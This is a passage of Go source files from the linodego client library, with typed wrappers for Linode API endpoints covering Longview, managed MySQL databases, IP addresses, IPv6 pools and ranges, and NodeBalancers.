struct { Hourly float64 `json:"hourly"` Monthly float64 `json:"monthly"` } `json:"price"` } // LongviewPlanUpdateOptions is an options struct used when Updating a Longview Plan type LongviewPlanUpdateOptions struct { LongviewSubscription string `json:"longview_subscription"` } // LongviewClientsPagedResponse represents a paginated LongviewClient API response type LongviewClientsPagedResponse struct { *PageOptions Data []LongviewClient `json:"data"` } // endpoint gets the endpoint URL for LongviewClient func (LongviewClientsPagedResponse) endpoint(_ ...any) string { return "longview/clients" } func (resp *LongviewClientsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LongviewClientsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LongviewClientsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListLongviewClients lists LongviewClients func (c *Client) ListLongviewClients(ctx context.Context, opts *ListOptions) ([]LongviewClient, error) { response := LongviewClientsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetLongviewClient gets the template with the provided ID func (c *Client) GetLongviewClient(ctx context.Context, clientID int) (*LongviewClient, error) { e := fmt.Sprintf("longview/clients/%d", clientID) r, err := c.R(ctx).SetResult(&LongviewClient{}).Get(e) if err != nil { return nil, err } return r.Result().(*LongviewClient), nil } // CreateLongviewClient creates a Longview Client func (c *Client) CreateLongviewClient(ctx context.Context, opts LongviewClientCreateOptions) (*LongviewClient, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "longview/clients" req := c.R(ctx).SetResult(&LongviewClient{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*LongviewClient), nil } // DeleteLongviewClient deletes a Longview Client func (c *Client) DeleteLongviewClient(ctx context.Context, clientID int) error { e := fmt.Sprintf("longview/clients/%d", clientID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // UpdateLongviewClient updates a Longview Client func (c *Client) UpdateLongviewClient(ctx context.Context, clientID int, opts LongviewClientUpdateOptions) (*LongviewClient, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("longview/clients/%d", clientID) req := c.R(ctx).SetResult(&LongviewClient{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*LongviewClient), nil } // GetLongviewPlan gets the template with the provided ID func (c *Client) GetLongviewPlan(ctx context.Context) (*LongviewPlan, error) { e := "longview/plan" r, err := c.R(ctx).SetResult(&LongviewPlan{}).Get(e) if err != nil { return nil, err } return r.Result().(*LongviewPlan), nil } // UpdateLongviewPlan updates a Longview Plan func (c *Client) UpdateLongviewPlan(ctx context.Context, opts LongviewPlanUpdateOptions) (*LongviewPlan, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "longview/plan" req := c.R(ctx).SetResult(&LongviewPlan{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*LongviewPlan), nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *LongviewClient) UnmarshalJSON(b []byte) error { type Mask LongviewClient p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } golang-github-linode-linodego-1.28.0/longview_subscriptions.go000066400000000000000000000037421455402072200245560ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // LongviewSubscription represents a LongviewSubscription object type LongviewSubscription struct { ID string `json:"id"` Label string `json:"label"` ClientsIncluded int `json:"clients_included"` Price *LinodePrice `json:"price"` // UpdatedStr string `json:"updated"` // Updated *time.Time `json:"-"` } // LongviewSubscriptionsPagedResponse represents a paginated LongviewSubscription API response type LongviewSubscriptionsPagedResponse struct { *PageOptions Data []LongviewSubscription `json:"data"` } // endpoint gets the endpoint URL for LongviewSubscription func (LongviewSubscriptionsPagedResponse) endpoint(_ ...any) string { return "longview/subscriptions" } func (resp *LongviewSubscriptionsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LongviewSubscriptionsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LongviewSubscriptionsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListLongviewSubscriptions lists LongviewSubscriptions func (c *Client) ListLongviewSubscriptions(ctx context.Context, opts *ListOptions) ([]LongviewSubscription, error) { response := LongviewSubscriptionsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetLongviewSubscription gets the template with the provided ID func (c *Client) GetLongviewSubscription(ctx context.Context, templateID string) (*LongviewSubscription, error) { templateID = url.PathEscape(templateID) e := fmt.Sprintf("longview/subscriptions/%s", templateID) req := c.R(ctx).SetResult(&LongviewSubscription{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*LongviewSubscription), nil } golang-github-linode-linodego-1.28.0/mysql.go000066400000000000000000000244201455402072200210760ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) type MySQLDatabaseTarget string type MySQLDatabaseMaintenanceWindow = DatabaseMaintenanceWindow const ( MySQLDatabaseTargetPrimary MySQLDatabaseTarget = "primary" MySQLDatabaseTargetSecondary MySQLDatabaseTarget = "secondary" ) // A MySQLDatabase is an instance of Linode MySQL Managed Databases type MySQLDatabase struct { ID int `json:"id"` Status DatabaseStatus `json:"status"` Label string `json:"label"` Hosts DatabaseHost `json:"hosts"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` Version string `json:"version"` ClusterSize int `json:"cluster_size"` ReplicationType string `json:"replication_type"` SSLConnection bool `json:"ssl_connection"` Encrypted bool `json:"encrypted"` AllowList []string `json:"allow_list"` InstanceURI string `json:"instance_uri"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Updates DatabaseMaintenanceWindow `json:"updates"` } func (d *MySQLDatabase) UnmarshalJSON(b []byte) error { type Mask MySQLDatabase p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) return nil } // MySQLCreateOptions fields are used when creating a new MySQL Database type MySQLCreateOptions struct { Label string `json:"label"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` AllowList []string `json:"allow_list,omitempty"` ReplicationType string `json:"replication_type,omitempty"` ClusterSize int `json:"cluster_size,omitempty"` Encrypted bool `json:"encrypted,omitempty"` SSLConnection bool `json:"ssl_connection,omitempty"` } // MySQLUpdateOptions fields are used when altering the existing MySQL Database type MySQLUpdateOptions struct { Label string `json:"label,omitempty"` AllowList *[]string `json:"allow_list,omitempty"` Updates *DatabaseMaintenanceWindow `json:"updates,omitempty"` } // MySQLDatabaseBackup is information for interacting with a backup for the existing MySQL Database type MySQLDatabaseBackup struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` Created *time.Time `json:"-"` } // MySQLBackupCreateOptions are options used for CreateMySQLDatabaseBackup(...) type MySQLBackupCreateOptions struct { Label string `json:"label"` Target MySQLDatabaseTarget `json:"target"` } func (d *MySQLDatabaseBackup) UnmarshalJSON(b []byte) error { type Mask MySQLDatabaseBackup p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) return nil } type MySQLDatabasesPagedResponse struct { *PageOptions Data []MySQLDatabase `json:"data"` } func (MySQLDatabasesPagedResponse) endpoint(_ ...any) string { return "databases/mysql/instances" } func (resp *MySQLDatabasesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(MySQLDatabasesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*MySQLDatabasesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // MySQLDatabaseCredential is the Root Credentials to access the Linode Managed Database type MySQLDatabaseCredential struct { Username string `json:"username"` Password string `json:"password"` } // MySQLDatabaseSSL is the SSL Certificate to access the Linode Managed MySQL Database type MySQLDatabaseSSL struct { CACertificate []byte `json:"ca_certificate"` } // ListMySQLDatabases lists all MySQL Databases associated with the account func (c *Client) ListMySQLDatabases(ctx context.Context, opts *ListOptions) ([]MySQLDatabase, error) { response := MySQLDatabasesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } type MySQLDatabaseBackupsPagedResponse struct { *PageOptions Data []MySQLDatabaseBackup `json:"data"` } func (MySQLDatabaseBackupsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("databases/mysql/instances/%d/backups", id) } func (resp *MySQLDatabaseBackupsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(MySQLDatabaseBackupsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*MySQLDatabaseBackupsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListMySQLDatabaseBackups lists all MySQL Database Backups associated with the given MySQL Database func (c *Client) ListMySQLDatabaseBackups(ctx context.Context, databaseID int, opts *ListOptions) ([]MySQLDatabaseBackup, error) { response := MySQLDatabaseBackupsPagedResponse{} err := c.listHelper(ctx, &response, opts, databaseID) if err != nil { return nil, err } return response.Data, nil } // GetMySQLDatabase returns a single MySQL Database matching the id func (c *Client) GetMySQLDatabase(ctx context.Context, databaseID int) (*MySQLDatabase, error) { e := fmt.Sprintf("databases/mysql/instances/%d", databaseID) req := c.R(ctx).SetResult(&MySQLDatabase{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*MySQLDatabase), nil } // CreateMySQLDatabase creates a new MySQL Database using the createOpts as configuration, returns the new MySQL Database func (c *Client) CreateMySQLDatabase(ctx context.Context, opts MySQLCreateOptions) (*MySQLDatabase, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "databases/mysql/instances" req := c.R(ctx).SetResult(&MySQLDatabase{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*MySQLDatabase), nil } // DeleteMySQLDatabase deletes an existing MySQL Database with the given id func (c *Client) DeleteMySQLDatabase(ctx context.Context, databaseID int) error { e := fmt.Sprintf("databases/mysql/instances/%d", databaseID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // UpdateMySQLDatabase updates the given MySQL Database with the provided opts, returns the MySQLDatabase with the new settings func (c *Client) UpdateMySQLDatabase(ctx context.Context, databaseID int, opts MySQLUpdateOptions) (*MySQLDatabase, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("databases/mysql/instances/%d", databaseID) req := c.R(ctx).SetResult(&MySQLDatabase{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*MySQLDatabase), nil } // GetMySQLDatabaseSSL returns the SSL Certificate for the given MySQL Database func (c *Client) GetMySQLDatabaseSSL(ctx context.Context, databaseID int) (*MySQLDatabaseSSL, error) { e := fmt.Sprintf("databases/mysql/instances/%d/ssl", databaseID) req := c.R(ctx).SetResult(&MySQLDatabaseSSL{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*MySQLDatabaseSSL), nil } // GetMySQLDatabaseCredentials returns the Root Credentials for the given MySQL Database func (c *Client) GetMySQLDatabaseCredentials(ctx context.Context, databaseID int) (*MySQLDatabaseCredential, error) { e := fmt.Sprintf("databases/mysql/instances/%d/credentials", databaseID) req := c.R(ctx).SetResult(&MySQLDatabaseCredential{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*MySQLDatabaseCredential), nil } // ResetMySQLDatabaseCredentials returns the Root Credentials for the given MySQL Database (may take a few seconds to work) func (c *Client) ResetMySQLDatabaseCredentials(ctx context.Context, databaseID int) error { e := fmt.Sprintf("databases/mysql/instances/%d/credentials/reset", databaseID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // GetMySQLDatabaseBackup returns a specific MySQL Database Backup with the given ids func (c *Client) GetMySQLDatabaseBackup(ctx context.Context, databaseID int, backupID int) (*MySQLDatabaseBackup, error) { e := fmt.Sprintf("databases/mysql/instances/%d/backups/%d", databaseID, backupID) req := c.R(ctx).SetResult(&MySQLDatabaseBackup{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*MySQLDatabaseBackup), nil } // RestoreMySQLDatabaseBackup returns the given MySQL Database with the given Backup func (c *Client) RestoreMySQLDatabaseBackup(ctx context.Context, databaseID int, backupID int) error { e := fmt.Sprintf("databases/mysql/instances/%d/backups/%d/restore", databaseID, backupID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // CreateMySQLDatabaseBackup creates a snapshot for the given MySQL database func (c *Client) CreateMySQLDatabaseBackup(ctx context.Context, databaseID int, opts MySQLBackupCreateOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("databases/mysql/instances/%d/backups", databaseID) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } // PatchMySQLDatabase applies security patches and updates to the underlying operating system of the Managed MySQL Database func (c *Client) PatchMySQLDatabase(ctx context.Context, databaseID int) error { e := fmt.Sprintf("databases/mysql/instances/%d/patch", databaseID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } golang-github-linode-linodego-1.28.0/network_ips.go000066400000000000000000000100011455402072200222630ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // IPAddressesPagedResponse represents a paginated IPAddress API response type IPAddressesPagedResponse struct { *PageOptions Data []InstanceIP `json:"data"` } // IPAddressUpdateOptions fields are those accepted by UpdateToken type IPAddressUpdateOptions struct { // The reverse DNS assigned to this address. For public IPv4 addresses, this will be set to a default value provided by Linode if set to nil. RDNS *string `json:"rdns"` } // LinodeIPAssignment stores an assignment between an IP address and a Linode instance. type LinodeIPAssignment struct { Address string `json:"address"` LinodeID int `json:"linode_id"` } // LinodesAssignIPsOptions fields are those accepted by InstancesAssignIPs. type LinodesAssignIPsOptions struct { Region string `json:"region"` Assignments []LinodeIPAssignment `json:"assignments"` } // IPAddressesShareOptions fields are those accepted by ShareIPAddresses. type IPAddressesShareOptions struct { IPs []string `json:"ips"` LinodeID int `json:"linode_id"` } // ListIPAddressesQuery fields are those accepted as query params for the // ListIPAddresses function. type ListIPAddressesQuery struct { SkipIPv6RDNS bool `query:"skip_ipv6_rdns"` } // GetUpdateOptions converts a IPAddress to IPAddressUpdateOptions for use in UpdateIPAddress func (i InstanceIP) GetUpdateOptions() (o IPAddressUpdateOptions) { o.RDNS = copyString(&i.RDNS) return } // endpoint gets the endpoint URL for IPAddress func (IPAddressesPagedResponse) endpoint(_ ...any) string { return "networking/ips" } func (resp *IPAddressesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(IPAddressesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*IPAddressesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListIPAddresses lists IPAddresses func (c *Client) ListIPAddresses(ctx context.Context, opts *ListOptions) ([]InstanceIP, error) { response := IPAddressesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetIPAddress gets the template with the provided ID func (c *Client) GetIPAddress(ctx context.Context, id string) (*InstanceIP, error) { id = url.PathEscape(id) e := fmt.Sprintf("networking/ips/%s", id) req := c.R(ctx).SetResult(&InstanceIP{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*InstanceIP), nil } // UpdateIPAddress updates the IPAddress with the specified id func (c *Client) UpdateIPAddress(ctx context.Context, id string, opts IPAddressUpdateOptions) (*InstanceIP, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } id = url.PathEscape(id) e := fmt.Sprintf("networking/ips/%s", id) req := c.R(ctx).SetResult(&InstanceIP{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*InstanceIP), nil } // InstancesAssignIPs assigns multiple IPv4 addresses and/or IPv6 ranges to multiple Linodes in one Region. // This allows swapping, shuffling, or otherwise reorganizing IPs to your Linodes. func (c *Client) InstancesAssignIPs(ctx context.Context, opts LinodesAssignIPsOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := "networking/ips/assign" req := c.R(ctx).SetBody(string(body)) _, err = coupleAPIErrors(req.Post(e)) return err } // ShareIPAddresses allows IP address reassignment (also referred to as IP failover) // from one Linode to another if the primary Linode becomes unresponsive. func (c *Client) ShareIPAddresses(ctx context.Context, opts IPAddressesShareOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := "networking/ips/share" req := c.R(ctx).SetBody(string(body)) _, err = coupleAPIErrors(req.Post(e)) return err } golang-github-linode-linodego-1.28.0/network_pools.go000066400000000000000000000025651455402072200226440ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // IPv6PoolsPagedResponse represents a paginated IPv6Pool API response type IPv6PoolsPagedResponse struct { *PageOptions Data []IPv6Range `json:"data"` } // endpoint gets the endpoint URL for IPv6Pool func (IPv6PoolsPagedResponse) endpoint(_ ...any) string { return "networking/ipv6/pools" } func (resp *IPv6PoolsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(IPv6PoolsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*IPv6PoolsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListIPv6Pools lists IPv6Pools func (c *Client) ListIPv6Pools(ctx context.Context, opts *ListOptions) ([]IPv6Range, error) { response := IPv6PoolsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetIPv6Pool gets the template with the provided ID func (c *Client) GetIPv6Pool(ctx context.Context, id string) (*IPv6Range, error) { id = url.PathEscape(id) e := fmt.Sprintf("networking/ipv6/pools/%s", id) req := c.R(ctx).SetResult(&IPv6Range{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*IPv6Range), nil } golang-github-linode-linodego-1.28.0/network_ranges.go000066400000000000000000000046651455402072200227720ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // IPv6RangesPagedResponse represents a paginated IPv6Range API response type IPv6RangesPagedResponse struct { *PageOptions Data []IPv6Range `json:"data"` } // IPv6RangeCreateOptions fields are those accepted by CreateIPv6Range type IPv6RangeCreateOptions struct { LinodeID int `json:"linode_id,omitempty"` PrefixLength int `json:"prefix_length"` RouteTarget string `json:"route_target,omitempty"` } // endpoint gets the endpoint URL for IPv6Range func (IPv6RangesPagedResponse) endpoint(_ ...any) string { return "networking/ipv6/ranges" } func (resp *IPv6RangesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(IPv6RangesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*IPv6RangesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListIPv6Ranges lists IPv6Ranges func (c *Client) ListIPv6Ranges(ctx context.Context, opts *ListOptions) ([]IPv6Range, error) { response := IPv6RangesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetIPv6Range gets details about an IPv6 range func (c *Client) GetIPv6Range(ctx context.Context, ipRange string) (*IPv6Range, error) { ipRange = url.PathEscape(ipRange) e := fmt.Sprintf("networking/ipv6/ranges/%s", ipRange) req := c.R(ctx).SetResult(&IPv6Range{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*IPv6Range), nil } // CreateIPv6Range creates an IPv6 Range and assigns it based on the provided Linode or route target IPv6 SLAAC address. func (c *Client) CreateIPv6Range(ctx context.Context, opts IPv6RangeCreateOptions) (*IPv6Range, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "networking/ipv6/ranges" req := c.R(ctx).SetResult(&IPv6Range{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*IPv6Range), nil } // DeleteIPv6Range deletes an IPv6 Range. func (c *Client) DeleteIPv6Range(ctx context.Context, ipRange string) error { ipRange = url.PathEscape(ipRange) e := fmt.Sprintf("networking/ipv6/ranges/%s", ipRange) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/nodebalancer.go000066400000000000000000000142111455402072200223430ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // NodeBalancer represents a NodeBalancer object type NodeBalancer struct { // This NodeBalancer's unique ID. ID int `json:"id"` // This NodeBalancer's label. These must be unique on your Account. Label *string `json:"label"` // The Region where this NodeBalancer is located. NodeBalancers only support backends in the same Region. Region string `json:"region"` // This NodeBalancer's hostname, ending with .nodebalancer.linode.com Hostname *string `json:"hostname"` // This NodeBalancer's public IPv4 address. IPv4 *string `json:"ipv4"` // This NodeBalancer's public IPv6 address. IPv6 *string `json:"ipv6"` // Throttle connections per second (0-20). Set to 0 (zero) to disable throttling. ClientConnThrottle int `json:"client_conn_throttle"` // Information about the amount of transfer this NodeBalancer has had so far this month. Transfer NodeBalancerTransfer `json:"transfer"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // NodeBalancerTransfer contains information about the amount of transfer a NodeBalancer has had in the current month type NodeBalancerTransfer struct { // The total transfer, in MB, used by this NodeBalancer this month. Total *float64 `json:"total"` // The total inbound transfer, in MB, used for this NodeBalancer this month. Out *float64 `json:"out"` // The total outbound transfer, in MB, used for this NodeBalancer this month. In *float64 `json:"in"` } // NodeBalancerCreateOptions are the options permitted for CreateNodeBalancer type NodeBalancerCreateOptions struct { Label *string `json:"label,omitempty"` Region string `json:"region,omitempty"` ClientConnThrottle *int `json:"client_conn_throttle,omitempty"` Configs []*NodeBalancerConfigCreateOptions `json:"configs,omitempty"` Tags []string `json:"tags"` FirewallID int `json:"firewall_id,omitempty"` } // NodeBalancerUpdateOptions are the options permitted for UpdateNodeBalancer type NodeBalancerUpdateOptions struct { Label *string `json:"label,omitempty"` ClientConnThrottle *int `json:"client_conn_throttle,omitempty"` Tags *[]string `json:"tags,omitempty"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *NodeBalancer) UnmarshalJSON(b []byte) error { type Mask NodeBalancer p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a NodeBalancer to NodeBalancerCreateOptions for use in CreateNodeBalancer func (i NodeBalancer) GetCreateOptions() NodeBalancerCreateOptions { return NodeBalancerCreateOptions{ Label: i.Label, Region: i.Region, ClientConnThrottle: &i.ClientConnThrottle, Tags: i.Tags, } } // GetUpdateOptions converts a NodeBalancer to NodeBalancerUpdateOptions for use in UpdateNodeBalancer func (i NodeBalancer) GetUpdateOptions() NodeBalancerUpdateOptions { return NodeBalancerUpdateOptions{ Label: i.Label, ClientConnThrottle: &i.ClientConnThrottle, Tags: &i.Tags, } } // NodeBalancersPagedResponse represents a paginated NodeBalancer API response type NodeBalancersPagedResponse struct { *PageOptions Data []NodeBalancer `json:"data"` } func (*NodeBalancersPagedResponse) endpoint(_ ...any) string { return "nodebalancers" } func (resp *NodeBalancersPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(NodeBalancersPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*NodeBalancersPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListNodeBalancers lists NodeBalancers func (c *Client) ListNodeBalancers(ctx context.Context, opts *ListOptions) ([]NodeBalancer, error) { response := NodeBalancersPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetNodeBalancer gets the NodeBalancer with the provided ID func (c *Client) GetNodeBalancer(ctx context.Context, nodebalancerID int) (*NodeBalancer, error) { e := fmt.Sprintf("nodebalancers/%d", nodebalancerID) req := c.R(ctx).SetResult(&NodeBalancer{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancer), nil } // CreateNodeBalancer creates a NodeBalancer func (c *Client) CreateNodeBalancer(ctx context.Context, opts NodeBalancerCreateOptions) (*NodeBalancer, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "nodebalancers" req := c.R(ctx).SetResult(&NodeBalancer{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancer), nil } // UpdateNodeBalancer updates the NodeBalancer with the specified id func (c *Client) UpdateNodeBalancer(ctx context.Context, nodebalancerID int, opts NodeBalancerUpdateOptions) (*NodeBalancer, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("nodebalancers/%d", nodebalancerID) req := c.R(ctx).SetResult(&NodeBalancer{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*NodeBalancer), nil } // DeleteNodeBalancer deletes the NodeBalancer with the specified id func (c *Client) DeleteNodeBalancer(ctx context.Context, nodebalancerID int) error { e := fmt.Sprintf("nodebalancers/%d", nodebalancerID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/nodebalancer_config_nodes.go000066400000000000000000000130541455402072200250640ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "github.com/go-resty/resty/v2" ) // NodeBalancerNode objects represent a backend that can accept traffic for a NodeBalancer Config type NodeBalancerNode struct { ID int `json:"id"` Address string `json:"address"` Label string `json:"label"` Status string `json:"status"` Weight int `json:"weight"` Mode NodeMode `json:"mode"` ConfigID int `json:"config_id"` NodeBalancerID int `json:"nodebalancer_id"` } // NodeMode is the mode a NodeBalancer should use when sending traffic to a NodeBalancer Node type NodeMode string var ( // ModeAccept is the NodeMode indicating a NodeBalancer Node is accepting traffic ModeAccept NodeMode = "accept" // ModeReject is the NodeMode indicating a NodeBalancer Node is not receiving traffic ModeReject NodeMode = "reject" // ModeDrain is the NodeMode indicating a NodeBalancer Node is not receiving new traffic, but may continue receiving traffic from pinned connections ModeDrain NodeMode = "drain" // ModeBackup is the NodeMode indicating a NodeBalancer Node will only receive traffic if all "accept" Nodes are down ModeBackup NodeMode = "backup" ) // NodeBalancerNodeCreateOptions fields are those accepted by CreateNodeBalancerNode type NodeBalancerNodeCreateOptions struct { Address string `json:"address"` Label string `json:"label"` Weight int `json:"weight,omitempty"` Mode NodeMode `json:"mode,omitempty"` } // NodeBalancerNodeUpdateOptions fields are those accepted by UpdateNodeBalancerNode type NodeBalancerNodeUpdateOptions struct { Address string `json:"address,omitempty"` Label string `json:"label,omitempty"` Weight int `json:"weight,omitempty"` Mode NodeMode `json:"mode,omitempty"` } // GetCreateOptions converts a NodeBalancerNode to NodeBalancerNodeCreateOptions for use in CreateNodeBalancerNode func (i NodeBalancerNode) GetCreateOptions() NodeBalancerNodeCreateOptions { return NodeBalancerNodeCreateOptions{ Address: i.Address, Label: i.Label, Weight: i.Weight, Mode: i.Mode, } } // GetUpdateOptions converts a NodeBalancerNode to NodeBalancerNodeUpdateOptions for use in UpdateNodeBalancerNode func (i NodeBalancerNode) GetUpdateOptions() NodeBalancerNodeUpdateOptions { return NodeBalancerNodeUpdateOptions{ Address: i.Address, Label: i.Label, Weight: i.Weight, Mode: i.Mode, } } // NodeBalancerNodesPagedResponse represents a paginated NodeBalancerNode API response type NodeBalancerNodesPagedResponse struct { *PageOptions Data []NodeBalancerNode `json:"data"` } // endpoint gets the endpoint URL for NodeBalancerNode func (NodeBalancerNodesPagedResponse) endpoint(ids ...any) string { nodebalancerID := ids[0].(int) configID := ids[1].(int) return fmt.Sprintf("nodebalancers/%d/configs/%d/nodes", nodebalancerID, configID) } func (resp *NodeBalancerNodesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(NodeBalancerNodesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*NodeBalancerNodesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListNodeBalancerNodes lists NodeBalancerNodes func (c *Client) ListNodeBalancerNodes(ctx context.Context, nodebalancerID int, configID int, opts *ListOptions) ([]NodeBalancerNode, error) { response := NodeBalancerNodesPagedResponse{} err := c.listHelper(ctx, &response, opts, 